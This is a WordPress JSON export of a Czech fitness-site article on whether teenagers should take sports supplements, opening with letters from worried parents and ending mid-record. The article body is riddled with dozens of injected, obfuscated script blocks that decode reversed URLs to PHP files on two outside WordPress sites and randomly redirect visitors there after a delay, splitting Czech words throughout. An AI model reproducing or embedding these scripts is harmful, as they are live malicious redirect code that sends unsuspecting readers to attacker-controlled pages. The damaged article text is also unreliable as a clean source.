{"id":647,"date":"2022-04-18T17:28:31","date_gmt":"2022-04-18T17:28:31","guid":{"rendered":"https:\/\/www.svetkulturistiky.cz\/?p=647"},"modified":"2022-04-20T14:53:15","modified_gmt":"2022-04-20T14:53:15","slug":"teenager-vs-suplementace","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2022\/04\/18\/teenager-vs-suplementace\/","title":{"rendered":"TEENAGER vs. SUPLEMENTACE"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\"><strong>Je vhodn\u00e9 \u010di dokonce nutn\u00e9,<\/strong> <strong>aby dosp\u00edvaj\u00edc\u00ed spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci u\u017e\u00edvali v\u00fd\u017eivov\u00e9 dopl\u0148ky?<\/strong><\/h2>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Pokud ano, kter\u00e9 vybrat a jak\u00fdm se naopak rad\u011bji vyhnout?<\/strong><\/h2>\n\n\n\n<p>&#8222;<em>N\u00e1\u0161 \u010dtrn\u00e1ctilet\u00fd syn za\u010dal na podzim chodit do fitka. Hrozn\u011b ho <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to chytlo, cvi\u010d\u00ed opravdu pravideln\u011b, a i na jeho postav\u011b <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to za\u010d\u00edn\u00e1 b\u00fdt zn\u00e1t. Ned\u00e1vno za mnou p\u0159i\u0161el, jestli bych mu k&nbsp;bl\u00ed\u017e\u00edc\u00edm se narozenin\u00e1m koupila balen\u00ed proteinov\u00e9ho n\u00e1poje. S\u00e1m si <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho o nejr\u016fzn\u011bj\u0161\u00edch produktech hodn\u011b na\u010detl, ale j\u00e1 si po\u0159\u00e1d kladu ot\u00e1zku, jestli mu <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to v&nbsp;jeho v\u011bku nem\u016f\u017ee n\u011bjak u\u0161kodit.<\/em>&#8222;<\/p>\n\n\n\n<p>&#8222;<em>Chci se zeptat, jak je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to s&nbsp;u\u017e\u00edv\u00e1n\u00edm spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00ed v\u00fd\u017eivy u dosp\u00edvaj\u00edc\u00edch. Na\u0161emu Martinovi bude \u0161estn\u00e1ct, do posilovny se dostal v&nbsp;r\u00e1mci kompenza\u010dn\u00edch tr\u00e9nink\u016f fotbalu a r\u00e1d by&nbsp;silov\u00fdm sport\u016fm v\u011bnoval v\u00edc. Domluvili jsme mu p\u00e1r tr\u00e9nink\u016f s&nbsp;tren\u00e9rem, ten mu poradil i s&nbsp;j\u00eddeln\u00ed\u010dkem, ale kdy\u017e se bavili o v\u00fd\u017eivov\u00fdch dopl\u0148c\u00edch, \u0159ekl mu, \u017ee m\u016f\u017ee br\u00e1t v\u0161echno a v\u011bk ni\u010demu nevad\u00ed. To n\u00e1s trochu zarazilo. Opravdu tam nen\u00ed \u017e\u00e1dn\u00e9 v\u011bkov\u00e9 omezen\u00ed?<\/em>&#8222;<\/p>\n\n\n\n<p>&#8222;<em>Jak je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to se v\u0161emi t\u011bmi proteinov\u00fdmi n\u00e1poji, gainery a \u201enakop\u00e1va\u010di\u201c u kluk\u016f ve v\u011bku kolem patn\u00e1cti? Syn se m\u011b sna\u017e\u00ed p\u0159emluvit, abychom mu nakoupili suplementy, \u017ee bez nich ty v\u00fdsledky nebudou takov\u00e9. Nem\u00e1m s&nbsp;t\u00edm v\u016fbec zku\u0161enosti, kdysi posiloval m\u016fj t\u00e1ta, ale ten vzpom\u00edn\u00e1, \u017ee tenkr\u00e1t jedli tvaroh a vaj\u00ed\u010dka <\/em><em>????. <\/em><em>Jsou ty dne\u0161n\u00ed produkty vhodn\u00e9 i pro kluky v&nbsp;<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomhle v\u011bku?<\/em>&#8222;<\/p>\n\n\n\n<p>&#8222;<em>Zjistila jsem, \u017ee mlad\u0161\u00ed syn (13) tajn\u011b u\u017e\u00edv\u00e1 n\u011bjakou spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00ed v\u00fd\u017eivu, co m\u00e1 nakoupenou jeho star\u0161\u00ed br\u00e1cha. Prvn\u00ed, co m\u011b napadlo, je, jestli mu <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nem\u016f\u017ee ubl\u00ed\u017eit. Jde o n\u011bjak\u00fd proteinov\u00fd pr\u00e1\u0161ek a pak kreatin v&nbsp;kapsl\u00edch.&#8220;<\/em><\/p>\n\n\n\n<p>V&nbsp;posledn\u00ed dob\u011b n\u00e1m do redakce chod\u00ed \u0159ada dotaz\u016f se spole\u010dn\u00fdm jmenovatelem \u2013 SUPLEMENTACE U TEENAGER\u016e. Obrac\u00ed se na n\u00e1s jak sami spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci, tak p\u0159edev\u0161\u00edm jejich rodi\u010de, pro n\u011b\u017e je ta<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to problematika \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to zcela nezn\u00e1m\u00e1. R\u00e1di by sv\u00fdm po<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomk\u016fm vytvo\u0159ili dobr\u00e9 podm\u00ednky pro tr\u00e9nink a svalov\u00fd rozvoj. Kdy\u017e ale teenager p\u0159ijde s&nbsp;t\u00edm, \u017ee by pot\u0159eboval nakoupit v\u00fd\u017eivov\u00e9 dopl\u0148ky, rodi\u010de obvykle zbyst\u0159\u00ed \u2013 a <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to zcela opr\u00e1vn\u011bn\u011b. Hledaj\u00ed odpov\u011b\u010f na ot\u00e1zku, zda je u\u017e\u00edv\u00e1n\u00ed takov\u00fdch produkt\u016f v&nbsp;<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return 